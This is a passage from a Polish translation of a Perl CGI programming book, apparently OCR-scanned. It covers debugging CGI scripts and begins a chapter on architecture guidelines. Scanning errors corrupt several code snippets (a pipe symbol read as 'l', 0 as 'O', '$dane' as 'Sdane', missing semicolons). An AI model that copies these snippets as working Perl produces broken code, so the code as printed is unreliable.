Sprawdzanie wartości zwracanych przez te funkcje powinno stać się nawykiem, bowiem na ich podstawie możemy podjąć właściwe działania. Otwarte? W rozmaitych przykładach zawartych w tej książce w celu wykonania zewnętrznej aplikacji i przekierowania danych tworzyliśmy potoki przy użyciu funkcji open. Niestety, nie ma prostego, tak jak w poprzednim podrozdziale, sposobu ustalania, czy wykonanie aplikacji w potoku przebiega pomyślnie. Oto kod porządkujący pewne dane liczbowe: open PLIK, "l /usr/local/gnu/sort" or die "Nie można utworzyć potoku: $!"; print "Content-type: text/plain\n\n"; ## wypełnianie tablicy @dane danymi liczbowymi ... print PLIK join ("\n", Sdane); close PLIK; Jeśli utworzenie potoku będzie niemożliwe (co prawie nigdy się nie zdarza), zwracamy komunikat o błędzie. A jeśli ścieżka do polecenia sort jest niepoprawna, co wtedy? Wtedy użytkownik nie zobaczy komunikatu ani żadnej innej stosownej odpowiedzi. Jak zatem ustalić, czy polecenie sort działa? Niestety, ze względu na sposób, w jaki funkcjonuje powłoka, stan wykonania polecenia staje się dostępny dopiero po zamknięciu uchwytu pliku. Oto przykład: open PLIK, "l /usr/local/gnu/sort" or die "Nie można utworzyć potoku: $!"; ## kod pominięty dla zwięzłości close PLIK; my $stan = ($? >> 8); if ( $stan ) { print "Niestety! W tej chwili brak dostępu do danych!"; } Tuż po zamknięciu uchwytu pliku bieżący stan zapisywany jest w zmiennej $?. Stan faktyczny (tj. O lub 1) ustalamy przez przesunięcie arytmetyczne oryginalnego stanu o osiem bitów w prawo. Jest jeszcze jedna metoda ustalania stanu potoku, aczkolwiek jest ona mniej przenośna między platformami i bardziej zawodna. Polega na sprawdzeniu identyfikatora PID procesu potomnego utworzonego przez funkcję open: #!/usr/bin/perl -wT use strict; use CGI; my $q = new CGI;
Programowanie CGI w Perlu
180
my $pid = open PLIK, "| /usr/local/gnu/sort"; my $stan = kill 0, $pid; $stan or die "Nie można otworzyć potoku do polecenia sort: $!"; ## Udało się! print $q->header( "text/plain" ); ... Funkcja kill służy tutaj do wysłania sygnału zerowego do procesu utworzonego przez potok. Jeśli proces jest martwy (co by oznaczało, że aplikacja w potoku w ogóle nie została uruchomiona), system operacyjny zwróci wartość zero. Jak już wspomnieliśmy, technika ta nie daje stuprocentowej pewności i nie na wszystkich platformach uniksowych będzie działać, lecz nie zaszkodzi ją wypróbować. Przechwytywanie funkcji die Powinniśmy sobie przypomnieć wcześniejsze omówienie funkcji die. Jeśli wywoływany kod lub moduł odwołuje się do funkcji Perla die, z pewnością wyzwoli wewnętrzny błąd serwera, czyli 500 Internal Seruer Error, o ile go sami nie przechwycimy. Do przechwytywania wywołań skutkujących błędami krytycznymi i kierowania komunikatów do przeglądarki służy moduł CGI::Carp. Na początku skryptu należy dodać następujący wiersz: use CGI::Carp qw( fatalsToBrowser ); Więcej informacji na temat modułu CGI::Carp znajduje się w podrozdziale „Obsługa błędów" zawartym w rozdziale 5, „CGI. pm". Blokowanie plików Jeśli okaże się, że pliki gubią dane lub ulegają uszkodzeniu, prawdopodobną przyczyną jest brak ich blokowania. Sieć Web jest środowiskiem wielodostępnym i wielu użytkowników może jednocześnie sięgać do tego samego dokumentu lub tej samej aplikacji CGI. Przyjrzyjmy się przykładowi, w którym blokowanie nie jest stosowane: #!/usr/bin/perl -wT use CGI; use CGI::Book::Error; my $cgi = new CGI; my $email = $cgi->param ("email") || "Anonymous"; my $komentarze = $cgi->param ("komentarze") || "brak komentarzy"; open PLIK, ">>/usr/local/apache/data/ksiega_gosci.txt" or error( $q, "Nie można dodać pozycji do książki gości!") print PLIK "Od $email: $komentarze\n\n" close PLIK; print "Location: /generic/dziekujemy.html\n\n"; Wyobraźmy sobie teraz sytuację, w której wielu użytkowników - powiedzmy, że stu # sięga do tej aplikacji dokładnie w tym samym momencie. Co się stanie? Sto procesów aplikacji CGI będzie usiłowało pisać w pliku ksiega_gosci.txt, co najpewniej skończy się utratą lub uszkodzeniem danych. Aby temu zapobiec, musimy plik blokować. Więcej szczegółów można znaleźć w podrozdziale „Blokowanie" zawartym w rozdziale 10, „Obsługa danych w plikach". Zapobieganie buforowaniu strumienia wyjściowego Czasami może się przytrafić pozornie bardzo dziwny błąd: dane wyjściowe nie pojawiają się na wyjściu w tej kolejności, w której zostały wysłane do standardowego strumienia wyjściowego. Dzieje się tak zazwyczaj wtedy, gdy generując dane wyjściowe wywołujemy aplikację zewnętrzną. Poniższy kod w niektórych systemach może działać niewłaściwie: #!/usr/bin/perl -wT print "Content-type: text/plain\n\n"; system "/bin/finger"; Dane wyjściowe polecenia system mogą się pojawić przed nagłówkiem typu treści, co może się wydać dość dziwacznym błędem. Jest to skutek buforowania standardowego strumienia wyjściowego. Buforowanie można wyłączyć, jak niżej: $| = 1; Wymusi to na Perlu opróżnianie buforów standardowego strumienia wyjściowego po każdym zapisie. Instrukcja binmode W systemach operacyjnych, w których występuje rozróżnienie na pliki binarne i tekstowe (przede wszystkim Windows 95, ŃT i Macintosh), musimy zachować ostrożność, zwłaszcza gdy zwracamy dane w postaci binarnej. Na przykład następująca aplikaqa dynamicznie tworzy prosty obraz: #!/usr/bin/perl -wT use GD; use strict; my $obraz = new GD::Image( 100, 100 ), my $bialy = $obraz->colorAllocate( 255, 255, 255 ); my $czarny = $obraz->colorAllocate( 0, 0, 0 ); my $czerwony = $obraz->colorAllocate( 255, 0, 0 );
Programowanie CGI w Perlu
181
$obraz->arc( 50, 50, 95, 75, O, 360, $czarny ); $obraz->fill( 50, 50, $czerwony ); print "Content-type: image/png\n\n"; print $obraz->png; Jeśli jednak aplikację uruchomimy na jednej z wcześniej wymienionych platform, wygenerowany obraz będzie uszkodzony. Środkiem zaradczym jest użycie funkcji binmode, która spowoduje, że na wyjście dane będą przekazywane jako informacje binarne: ## kod pominięty dla zwięzłości ... binmode STDOUT; print $obraz->png;
Narzędzia do debugowania Przyjrzeliśmy się ewentualnym przyczynom częstych problemów, lecz nie wszystkie błędy są częste. Gdy mamy problem i nie pomaga żaden z przedstawionych dotąd środków zaradczych, wtedy musimy przeprowadzić dokładniejsze badania. W tym podrozdziale przyjrzymy się narzędziom pomocnym w rozpoznawaniu źródeł problemów. Oto krótka lista czynności, które można dodatkowo podjąć: • sprawdzić składnię skryptów, używając przełącznika -c; • sprawdzić dziennik błędów serwera Web; • uruchomić skrypt z poziomu wiersza poleceń; • zbadać wartości zmiennych wyświetlając je w przeglądarce; • użyć interakcyjnego debugera. Przyjrzyjmy się im bliżej. Sprawdzenie składni Wspomnieliśmy już o tym w poprzednim podrozdziale, lecz wypada powtórzyć i w tym: kod, który nie poddaje się analizie składniowej lub się nie kompiluje, nigdy nie będzie działać poprawnie. Tak więc w nawyk powinno wejść testowanie skryptów z przełącznikiem -c z poziomu wiersza polecenia jeszcze przed przetestowaniem ich w przeglądarce, a potem - sprawdzanie pod kątem ostrzeżeń z przełącznikiem -w. Należy pamiętać, że chcąc zastosować tryb kontroli skażeń (a należy go stosować we wszystkich skryptach), trzeba dodawać przełącznik -T, aby nie dopuścić do następującego komunikatu*: $ perl -we mojSkrypt.cgi Too latę for "-T" option. Dlatego należy się posługiwać kombinacją -wcT: perl -wcT kalendarz.cgi W wyniku otrzymamy komunikat mówiący o poprawności składni: Syntax OK lub listę problemów. Oczywiście, przełącznika -c nie powinno się dodawać do skryptu w wierszu poundbang (zaczynającym się znakami # !), lecz stosować wyłącznie na poziomie wiersza polecenia. Sprawdzanie dzienników błędów Błędy zazwyczaj drukowane są na STDERR. W wypadku niektórych serwerów Web wszystko, co podczas działania skryptu CGI jest drukowane na STDERR, kierowane jest do dzienników błędów serwera. Dlatego, gdy pojawią się problemy, przeglądając dzienniki często można znaleźć wiele cennych wskazówek. W wypadku serwera Apache ścieżką do pliku dziennika może być /usr/local/apache/logs/error_log lub /usr/var/apache/logslhttpd/error_log. Błędy każdorazowo dołączane są na końcu dziennika; plik dziennika można obserwować podczas testowania skryptów CGI. Gdy użyjemy polecenia taił z przełącznikiem -/: $ tail -f /usr/local/apache/logs/error_log nowe wiersze będą drukowane na bieżąco, w miarę dopisywania ich do pliku. Uruchamianie skryptów z poziomu wiersza polecenia Następną czynnością, gdy skrypt już przejdzie kontrolę składni, jest próba uruchomienia go z poziomu wiersza polecenia. Należy pamiętać, że wiele danych dociera do skryptów CGI poprzez zmienne środowiska. Można je określić ręcznie przed uruchomieniem skryptu: $ export HTTP_COOKIE="id_uzytkownika=abcl23" $ export QUERY_STRING="miesiac=mar&rok=2001" $ export REQUEST__METHOD="GET" $ ./kalendarz.cgi Wyświetlone zostaną pełne dane wyjściowe generowane przez skrypt, włącznie z wszelkimi drukowanymi przez niego nagłówkami HTTP. Może się to przydać wtedy, gdy podejrzewamy, że problemy mogą mieć związek z nagłówkami. W wypadku CGI.pm w wersji 2.56 lub wcześniejszej podawanie parametrów formularzowych je znacznie 22 łatwiejsze, ponieważ przy uruchomieniu skryptu pojawia się specjalny monit : (offline mode: enter name=value pairs on standard input)
22
Tryb offline: wprowadź pary nazwa-wartość poprzez wejście standardowe (przyp. tlum.).
Programowanie CGI w Perlu
182
Można wtedy podać parametry w postaci par nazwa-wartość ze znakiem równości w funkcji łącznika. CGI.pm pomija białe znaki i dopuszcza użycie cudzysłowu: (offline mode: enter name=value pairs on standard input) miesiąc = mar rok=2001 Po wprowadzeniu parametrów należy wprowadzić znak końca pliku, naciskając odpowiednią kombinację klawiszy ([Ctrl+D] w Uniksie i Macintoshu; [Ctrl+Z] w Windows). Począwszy od wersji 2.57, CGI.pm już samoczynnie się nie zwraca o podanie wartości. Umożliwia natomiast przekazywanie parametrów do skryptu w postaci argumentów wywołania (we wcześniejszych wersjach też było to możliwe): $ ./kalendarz.cgi miesiac=mar rok=2001 Gdybyśmy mimo wszystko woleli korzystać z monitów CGI.pm, możemy przywrócić dawniejszą funkcjonalność także w nowszych wersjach, używając argumentu -debug przy inicjowaniu modułu CGI.pm: use CGI qw( -debug ); Jeśli towarzyszący skryptowi formularz jest rozbudowany i ręczne wprowadzanie parametrów jest pracochłonne, możemy je przenieść do pliku (z którego będzie można skorzystać w trybie offline) dodając kilka wierszy na początku skryptu: #!/usr/bin/perl -wT use strict; use CGI; my $q = new CGI; ## POCZĄTEK WSTAWIONEGO KODU open PLIK, "> /tmp/parametryl" or die $!; $q->save( \*PLIK ) ; print $q->header( "text/plain" ), "Plik zapisany\n"; ## KONIEC WSTAWIONEGO KODU W tym momencie powinniśmy już mieć plik Itmp/parametryl, którego będzie można użyć z poziomu wiersza polecenia. Najpierw należy usunąć wstawiony kod (lub oznaczyć go jako komentarz, chcąc zachować go na później), a potem użyć pliku w sposób następujący: $ ./katalog.cgi < /tmp/parametry1 Wyświetlanie zmiennych w przeglądarkach Jeśli skrypt działa prawidłowo, lecz efekty jego pracy nie odpowiadają oczekiwanym, przydać się może podzielenie go na fragmenty, aby ustalić, gdzie tkwi tego przyczyna. Najprostszy sposób polega na wstawieniu kilku instrukcji print: sub rezultaty_pobrania { print "Wejście do procedury rezultaty_pobrania( @_ )\n"; #DEBUGOWANIE# ... Aby takie polecenia, gdy już nie będą potrzebne, łatwiej było odszukać i usunąć, można je dosunąć do lewej lub dopisać do nich symboliczny komentarz. W razie posługiwania się złożonymi strukturami danych Perla możemy je z łatwością wydrukować, korzystając z modułu Data::Dumper. Wystarczy dodać następujący kod: use Data::Dumper; #DEBUGOWANIE# print Dumper( $rezultat ) ; #DEBUGOWANIE# return $rezultat; } Funkcja Dumper rozpisuje strukturę danych na schludnie powcinany kod źródłowy w Perlu. Gdybyśmy chcieli obejrzeć go na stronie HTML, powinniśmy dodatkowo ująć go w znaczniki <PRE> lub wyświetlić źródłowy kod strony. Przy generowaniu złożonego HTML-a konieczne bywa obejrzenie kodu i sprawdzenie, czy określone instrukq'e w ogóle są drukowane. Jednym z łatwiejszych rozwiązań często okazuje się otworzenie osobnego uchwytu pliku do wydzielonego pliku dziennika i drukowanie poleceń debugowania właśnie do niego. Co więcej, może się przydać stworzenie własnego modułu, który by służył do kierowania informacji do wspólnego pliku dziennika debugowania, a także do włączania i wyłączania trybu debugowania. Debugery Wszystkie poprzednie techniki pomagają wyizolować usterkę, lecz najlepszym, jak dotąd, rozwiązaniem są debugery. Debugery dają możliwość interakcji z uruchomionym programem. Można śledzić tok programu, obserwować wartości zmiennych i nie tylko. Debuger Perla Jeśli perl wywołamy z przełącznikiem -d, włączony zostanie tryb sesji interakcyjnej. Niestety, oznacza to, że z debugera można korzystać tylko z poziomu wiersza poleceń. Nie mamy do czynienia z tradycyjnym środowiskiem skryptów CGI, lecz naśladowanie środowiska CGI nie sprawia trudności. Najlepiej zapisać obiekt CGI w pliku, zainicjować wszelkie potrzebne dodatkowe zmienne środowiska, na przykład odpowiadające ciasteczkom, a następnie uruchomić skrypt CGI w następujący sposób: 1 $ perl -dT kalendarz .cgi </tmp/parametry Loading DB routines from perl5db.pl version l Emacs support available.
Programowanie CGI w Perlu
183
Enter h or 'h h' for help. main: : (Dev: Pseudo: 7) :my $q = new CGI; DB<1> Debuger na początku może nieco konsternować, gdyż możliwości ma naprawdę duże. Pierwszy kontakt ułatwi tabela 15.1, w której zestawiono wszystkie podstawowe polecenia potrzebne przy debugowaniu skryptów. Wszystkie skrypty CGI można zdebugować przy użyciu wyłącznie wymienionych tam poleceń, chociaż poleceń tych jest o wiele więcej. Aby się zorientować w działaniu debugera, wskazane jest przećwiczyć go na skrypcie, w którym nie ma błędów ani usterek. Debuger nie wprowadza żadnych zmian do pliku, więc wpisując złe polecenie, nie można popsuć działającego skryptu. Kompletna dokumentacja debugera Perla dostępna jest na stronie podręcznikowej perldebug, a zwięzłą listę wszystkich poleceń można uzyskać w debugerze, wpisując h. Tabela 15.1. Podstawowe polecenia debugera Perla Polecenie Opis s Krok (ang. step); Perl wykonuje wiersz wypisany przed znakiem zachęty, wkraczając do procedur; uwaga: wiersz, na który składa się wiele poleceń, do całkowitego wykonania może wymagać kilku kroków. n Następna (ang. next); Perl wykonuje wiersz wypisany przed znakiem zachęty, przechodząc nad procedurami (mimo to są realizowane: Perl poczeka, aż dana procedura zostanie wykonana, zanim przejdzie do następnej instrukcji). c Kontynuuj (ang. continue); kontynuuje działanie do końca programu lub najbliższego punktu przerwania, odpowiednio do tego, co wystąpi wcześniej. c 123 Kontynuuje działanie do wiersza 123; wiersz 123 musi zawierać polecenie (nie może to być komentarz, pusty wiersz, dalszy ciąg polecenia z wiersza poprzedniego itp.). b Ustanawia punkt przerwania (ang. breakpoint) w bieżącym wierszu; punkty przerwań wstrzymują wykonanie wywołane poleceniem c. b 123 Ustanawia punkt przerwania w wierszu 123; wiersz 123 musi zawierać polecenie (nie może to być komentarz, pusty wiersz, dalszy ciąg polecenia z wiersza poprzedniego itp.). b procedura Ustanawia punkt przerwania w pierwszym wykonywalnym wierszu procedury procedura. d Kasuje (ang. delete) punkt przerwania w bieżącym wierszu; przyjmuje te same argumenty, co polecenie b. D Kasuje wszystkie punkty przerwań. x $zmienna Wyświetla wartość zmiennej $zmiennaw kontekście listy i kontekście skalarnym; uwaga: polecenie działa w głąb złożonych, zagnieżdżonych struktur danych. r Powraca (ang. return) z bieżącej procedury; Perl kończy wykonanie bieżącej procedury, wyświetla rezultat i kontynuuje działanie od wiersza znajdującego się tuż po instrukqi, która wywołała procedurę. l Wyświetla listę (ang. list) 10 kolejnych wierszy skryptu; tego polecenia można użyć raz za razem. l 123 Wyświetla 123. wiersz skryptu. l 200-300 Wyświetla wiersze skryptu od 200. do 300. l procedura Wyświetla 10 pierwszych wierszy procedury procedura. q Kończy sesję (ang. quit). R Ponownie uruchamia skrypt w debugerze. ptkdb Można również skorzystać z debugera typu Perl/Tk, ptkdb (zob. rysunek 15.1), w sieci CPAN dostępnego jako Devel-ptkdb. Umożliwia on debugowanie skryptów z wykorzystaniem interfejsu graficznego. Umożliwia również debugowanie skryptów CGI w sposób interakcyjny, w trakcie ich wykonywania. Aby móc skorzystać z ptkdb, należy mieć dwie rzeczy. Po pierwsze, potrzebny jest dostęp do serwera X Window;* X Window System wchodzi w skład systemu Unix i systemów z nim zgodnych; dostępne są też wersje komercyjne przeznaczone do innych systemów operacyjnych. Po drugie, serwerowi Web potrzebny jest moduł Tk.pm (jest dostępny w sieci CPAN), który wymaga z kolei Tk. Tk to przybornik graficzny, zazwyczaj rozprowadzany wraz ze skryptowym językiem Tcl. Pakiet Tcl/Tk można uzyskać pod adresem http://www.scripts.com/. Więcej informacji na temat Perla w połączeniu z Tk za pośrednictwem Tk.pm można znaleźć w książce Learning Perl/Tk autorstwa Nancy Walsh (O'Reilly & Associates, Inc.). Aby skrypt CGI poddać debugowaniu za pomocą ptkdb, należy go rozpocząć w następujący sposób: #! /usr/bin/perl -d:ptkdb sub BEGIN { $ENV{DISPLAY} = "nazwa.hosta.danej.maszyny:0.0"; } W X Window System serwer X Window działa lokalnie. Serwer ten wyświetla programy, które można uruchomić zdalnie. Termin „serwer" jest w tym kontekście trochę mylący, ponieważ do interakcji z systemem zdalnym zwykle używa się klienta. W miejsce nazwa. hosta. danej . maszyny należy wstawić nazwę hosta lub adres IP maszyny, na której skrypt jest debugowany. W wypadku sesji X Window na serwerze Web można podać localhost.
Programowanie CGI w Perlu
184
Ponadto serwerowi Web należy umożliwić wyświetlanie programów na serwerze X Window. W systemie Unix i systemach z nim zgodnych w tym celu poleceniem xhost dodaje się zapis rejestracyjny nazwy hosta lub adresu IP serwera Web: $ xhost www.serwer_web.nazwa_hosta www.serwer_web.nazwa_hosta being added to access control list Odtąd do skryptu CGI będzie można sięgać za pomocą przeglądarki, która powinna otwierać okno debugowania w danym systemie. Uwaga: serwer Web może samoczynnie zerwać połączenie, jeśli zbyt długo będzie trwała interakcja z debugerem, a skrypt w tym czasie nie wygeneruje żadnych danych wyjściowych. Debuger Perla firmy ActiveState Jest to debuger przeznaczory wyłącznie dla użytkowników Win32. Firma Active-State rozprowadza debuger ?erla (zob. rysunek 15.2) w ramach zestawu narzędziowego PDK (Perl Development Kit). Po jego zainstalowaniu wydanie polecenia perl z przełącznikiem -d wywoła ten debuger zamiast debugera standardowego. Jeżeli jesteśmy zalogowani na serwerze Web, możemy go wywołać także w trakcie działania skryptu CGI. PDK i stosowną dokumentację można uzyskać w serwisie Web firmy AcriveState pod adresem http://www.activestate.com/. PDK jest artykułem komercyjnym, niemniej jednak, gdy powstawała ta książka, firma ActiveState oferowała siedmiodniową wersję próbną.
Rozdział 16 Wytyczne do tworzenia lepszych aplikacji CGI Oprogramowywanie CGI w Perlu, jak wiele innych rodzajów programowania, polega na równoważeniu sztuki i rzemiosła. Perl z punktu widzenia sztuki jest wyjątkowo bogatym językiem, dając swobodę realizacji jednego zadania na wiele różnych sposobów. Niemniej jednak, traktując programowanie w Perlu jako rzemiosło, trzeba wybierać metody oparte na „przyziemnych" wymaganiach co do wydajności, bezpieczeństwa i organizacji pracy zespołowej. Co więcej, program użyteczny w jednym kontekście na ogół po rozbudowie staje się użyteczny w innym. Wymaga to od programu elastyczności i przystosowania do przyszłego rozwoju. Niestety, programy nie rozwijają się same z siebie. Wymagają strasznego słowa „na p": pielęgnacji. Pielęgnacja zazwyczaj jest trudna, lecz stanie się łatwiejsza, gdy najpierw dołoży się starań, by kod był zarówno czytelny, jak i elastyczny. Z powyższych względów dojrzali projektanci CGI zazwyczaj przestrzegają zbioru wytycznych, dzięki którym kod łatwiej dostosować do wcześniej założonych celów. W pracy grupowej owe wytyczne coraz bardziej nabierają charakteru standardu, który członkom zespołów projektowych uzmysławia środki ułatwiające odczytywanie kodu tworzonego przez współpracowników.
Wytyczne dotyczące architektury Pierwszy etap nauki jakiegokolwiek języka polega na nabywaniu umiejętności realizacji niewielkich zadań tak, by nie pojawiały się krytyczne uwagi ze strony kompilatora. Niemniej jednak większe programy składają się z instrukcji, które mają być poprawne nie tylko pod względem składni. To, na ile harmonijnie poszczególne kawałki programu są ze sobą połączone, jest tak samo ważne, jak to, czy pomyślnie się kompilują. Innymi słowy, program jest czymś więcej, niż tylko prostą sumą składników. Tworząc program należy zwrócić uwagę na to, by spełniał on takie założenia projektowe, jak elastyczność i łatwość w późniejszej pielęgnacji. Niekiedy takie postępowanie określa się mianem „programowania na wielką skalę" (ang. programming in the large) lub „programowania strategicznego" (ang. strategie programming). W tym podrozdziale kładziemy nacisk na wskazówki dotyczące konstruowania architektury aplikacji CGI spełniającej wspomniane założenia projektowe. Planowanie przyszłego rozwoju aplikacji Serwisy Web początkowo bywają małe, lecz zwykle z czasem rozrastają się i ewoluują. Można zacząć od pracy nad małym serwisem Web w małym zespole, w którym koordynacja działań nie sprawia trudności. Jednak, gdy serwis stopniowo się rozrasta - tak jak tworzący i obsługujący go zespół - coraz istotniejszą rolę odgrywa w nim właściwa konstrukcja. Projektanci powinni dysponować osobnym środowiskiem projektowym, w którym będą mogli pracować nad różnymi wersjami serwisu Web bez oddziaływania na publiczny serwer Web. Ze względu na rozwój serwisów Web i dużą liczbę projektantów wspólnie pracujących nad poszczególnymi przedsięwzięciami, kluczowego znaczenia nabiera system, który by śledził zmiany, jakim ulegają aplikacje. Ci, co jeszcze nie korzystają z systemu nadzoru wersji, powinni o nim poważnie pomyśleć. Istnieje wiele komercyjnych programów tego typu, nie wspominając implementacji CVS i RCS o otwartym kodzie źródłowym. Wsparcie ze strony takich systemów jest ważnym czynnikiem, który warto uwzględnić decydując się na określoną architekturę. Istnieje wiele różnych konfiguracji. Oto kilka przykładów: • Projektanci Web wspólnie użytkują serwer Web środowiska projektowego. Jest to rozwiązanie najprostsze i sprawdza się w wypadku małych grup, lecz staje się nieporęczne, gdy tylko projekty zaczynają się rozrastać. Nie wchodzi w grę wsparde ze strony nadzoru wersji na poziomie pojedynczego użytkownika, nie ma też stałego kodu-bazy, ponieważ wszystko jest płynne. Nie jest też możliwe, aby jeden projektant przetestował stworzony przez siebie komponent w zestawieniu z kodem innego projektanta, podczas gdy ten drugi wprowadza zmiany do kodu.
Programowanie CGI w Perlu
185
• Projektanci Web dysponują osobnymi drzewami katalogowymi na serwerze Web. W tym wypadku każdy projektant ma na serwerze Web katalog macierzysty i ma dostęp do kopii materiałów serwera Web, które ulokowane są poniżej tego katalogu. Jest to stosunkowo prosta konfiguracja i sprawdza się, jeśli łącza HTML są określone względem katalogu bieżącego. W tym układzie możliwe jest użycie systemów nadzoru wersji, ponieważ projektanci mogą okresowo utrwalać stan bieżący („odbitkę") opracowanego kodu (zwłaszcza stabilnego). Inni projektanci mogą aktualizować swoje katalogi na podstawie utrwalonych odbitek, a nawet równolegle opracowywać własny kod. • Projektanci Web dysponują osobnymi egzemplarzami serwera Web, działającymi na odrębnych portach. Konfiguracja w tym wypadku jest najbardziej pracochłonna, ponieważ serwer Web musi być każdorazowo inaczej konfigurowany, gdy dodawany jest każdy kolejny port. Sprawdza się, gdy wszystkie URL-e są względne, niezależnie od tego, czy zawierają pełne ścieżki, czy też ścieżki określone względem bieżącego katalogu. W tym układzie możliwy jest nadzór wersji. Organizowanie projektów z wykorzystaniem katalogów Na aplikacje CGI często się składa kilka powiązanych ze sobą plików, w tym co najmniej jeden skrypt CGI, formularze HTML, pliki szablonów (jeśli opieramy się na szablonach), pliki danych, pliki konfiguracyjne itd. Jeśli system projektowy jest poza serwerem publicznym (i tak powinno być!), to obydwa mogą mieć osobne struktury katalogowe. W systemie projektowym powinno się opracować taką strukturę katalogową, która ułatwi organizację 23 informacji. W systemach, w których można się posługiwać wskaźnikami do katalogów, dobrze jest wszystkie pliki danej aplikacji CGI umieścić razem w jednym katalogu. Na przykład, jeśli mielibyśmy aplikację witryny sklepowej, komponenty moglibyśmy umieścić w podkatalogach katalogu /usr/local/projekty/ sklep_web w następujący sposób: /usr/local/projekty/sklep_web/ cgi/ conf/ data/ html/ templates/ Można by wówczas utworzyć łącza symboliczne, które by odwzorowywały tę zawartość na odpowiednie katalogi używane przez serwer Web: /usr/local/apache/htdocs/sklep_web -> /usr/local/projekty/sklep_web/html/ /usr/local/apache/cgi-bin/sklep_web -> /usr/local/projekty/sklep_web/cgi/ Można też dodać katalogi globalne przeznaczone na pliki danych, konfiguracji i szablonów: /usr/local/apache/data/sklep_web -> /usr/local/projekty/sklep_web/data/ /usr/local/apache/conf/sklep_web -> /usr/local/projekty/sklep_web/conf/ /usr/local/apache/templates/sklep_web -> /usr/local/projekty/sklep_web/templates/ Umieszczanie wszystkich materiałów poniżej wspólnego katalogu, na przykład lusr/local/projekty/sklep_web, oprócz tego, że ułatwia lokalizowanie wszystkich składników aplikacji witryny sklepowej, ułatwia również zarządzanie aplikacją za pomocą systemu nadzoru wersji. Należy mieć na uwadze, że serwer Web, przechodząc poprzez łącze symboliczne, działa wolniej, niż gdyby sięgał bezpośrednio do głównego katalogu dokumentów, więc struktura ta jest praktyczniejsza w systemie projektowym niż w docelowym systemie publicznym. Posługiwanie się URL-ami względnymi Serwis Web będzie elastyczniejszy, jeśli użyjemy URL-i względnych zamiast bezwzględnych. Innymi słowy, jeśli to nie jest konieczne, nie włączajmy do nich nazwy domeny serwera Web. Jeśli serwery Web projektowy i publiczny mają różne nazwy, będzie wygodniej, gdy kod będzie działał w obydwu systemach przy minimalnych zmianach w konfiguracji. To, czy URL-e względne mają zawierać w pełni kwalifikowane ścieżki, czy też ścieżki określone względem bieżącego katalogu, zależy od sposobu skonfigurowania systemu projektowego, o czym już wcześniej pisaliśmy. Niemniej jednak w głównych elementach służących do poruszania się po serwisie, na przykład paskach nawigacyjnych, prawie zawsze używa się ścieżek w pełni kwalifikowanych, tak więc skonfigurowanie środowiska projektowego z tego typu ścieżkami sprawi, że środowisko projektowe będzie lepiej odzwierciedlać docelowe środowisko publiczne.
Oddzielanie konfiguracji od głównego kodu Informacje, które przypuszczalnie będą się w programie zmieniać lub które zależą od środowiska, powinno się umieszczać w osobnym pliku ustawień. W wypadku Perla tworzenie takich plików jest łatwe, ponieważ plik można zapisać w Perlu; wystarczy określić jedną lub większą liczbę zmiennych globalnych. Aby sięgnąć do tych zmiennych w skrypcie CGI, najpierw trzeba zaimportować plik konfiguracyj-ny, używając funkcji Perla recfuire.
23 Takimi wskaźnikami są łącza symboliczne (symlinki) w Uniksie lub nazwy alternatywne (aliasy) w MacOS-ie; skróty Windows nie są przezroczyste dla aplikacji i dlatego w tym kontekście nie będą działać.
Programowanie CGI w Perlu
186
Zdarzają się sytuaqe, w których każdemu z projektantów są potrzebne inne parametry konfiguracyjne. Umieszczając ścieżki do plików w osobnych plikach konfigura-cyjnych, projektanci mogą testować aplikacje na własnych danych i plikach HTML. Nie oznacza to jednak, że skrypty CGI zawsze wymagają wielu plików; zaletą plików ustawień jest m.in. to, że łatwo jest je poszerzać. W skrypcie CGI można importować (funkqą rec\uire) jeden plik konfiguracyjny, który z kolei importuje inne pliki. Ten sposób nadaje się do plików konfiguracyjnych zarówno na potrzeby aplikacji, jak i przeznaczonych dla projektantów. Podobnie, gdy aplikacja CGI rozrasta się tak, że obsługa pojedynczego pliku konfiguracyjnego aplikacji staje się kłopotliwa, można go podzielić na mniejsze i ustanowić główny plik konfiguracyjny, który będzie importował mniejsze fragmenty. Oddzielanie wyświetlania od głównego kodu W aplikacjach przez cały okres ich eksploatacji najczęściej zmienia się sposób wyświetlania danych przez skrypt CGI. Większość serwisów Web, ewoluując, zmienia działanie i wygląd, a aplikacja, która ma być używana w kilku serwisach Web, musi być wystarczająco elastyczna, aby spełniała wszystkie indywidualnie określone dla każdej z nich wytyczne co do szaty zewnętrznej. Liczne argumenty za oddzielaniem wyświetlanych elementów od logiki programowej przedstawiliśmy w rozdziale 6, „Szablony HTML". Jednak oprócz ułatwiającego pielęgnację HTML-a oddzielnego przechowywania HTML-a i kodu skryptu, wskazane jest stworzenie kodu, który obsługiwałby wyświetlanie (w którym znajdą się na przykład wywołania funkcji analizy składniowej, metody modułu CGI.pm itp.), osobnego względem pozostałej logiki programowej. Takie podejście umożliwi zmianę w razie potrzeby środków, które służą do wyświetlania, minimalnym nakładem pracy. Możliwe, że kiedyś zechcemy wszystkie skrypty CGI wykorzystujące CGI.pm oprzeć na szablonach lub na odwrót. Kolejnym argumentem za oddzielaniem wyświetlania od logiki programowej jest to, że program nie musi się wcale ograniczać do wyświetlania HTML-a. W miarę ewolucji programu można go wyposażać w inne interfejsy. Zamiast podstawowego HTML-a można zastosować nowy standard, XHTML. Można też wprowadzić interfejs XML, dzięki któremu inne programy w innych systemach będą mogły przejąć i samodzielnie przetworzyć dane generowane przez skrypt CGI. Oddzielanie obsługi przechowywania danych od głównego kodu Wybór sposobu przechowywania i pobierania danych jest decyzją kluczową, dotyczącą każdej aplikacji. Prosty koszyk sklepowy może być początkowo oparty na prostych plikach tekstowych, w których dane o artykułach składowane są podczas wędrówek użytkownika po sklepie. Jednak bardziej zaawansowany koszyk zapewne będzie wymagać użycia relacyjnych baz danych, takich jak MySQL lub Oracle. Jeszcze inne aplikacje można oprzeć na plikach asocjacyjnych DBM. Dobrym rozwiązaniem pod względem architektury jest oddzielenie kodu odpowiedzialnego za składowanie danych od rdzenia logiki programowej. Praktyka jednak pokazuje, że jest to trudniejsze niż oddzielenie innych składników programu, na przykład dotyczących wyświetlania. Często logika programowa jest ściśle powiązana z danymi. Czasami trzeba pójść na ustępstwa na rzecz wydajności; SQL, na przykład, jest bogatym językiem i umożliwia zawarcie logiki w samych zapytaniach, które zazwyczaj działają znacznie szybciej i efektywniej, jeśli chodzi o wykorzystanie pamięci, niż gdyby tę samą funkcjonalność odzwierciedlić w programie. Mimo wszystko należy dążyć do rozdzielności jednego i drugiego, zwłaszcza jeśli w aplikacji zastosowano prostsze mechanizmy składowania, oparte na przykład na plikach tekstowych. Ponieważ aplikacje się rozrastają, w przyszłości może nas czekać zaadaptowanie systemu 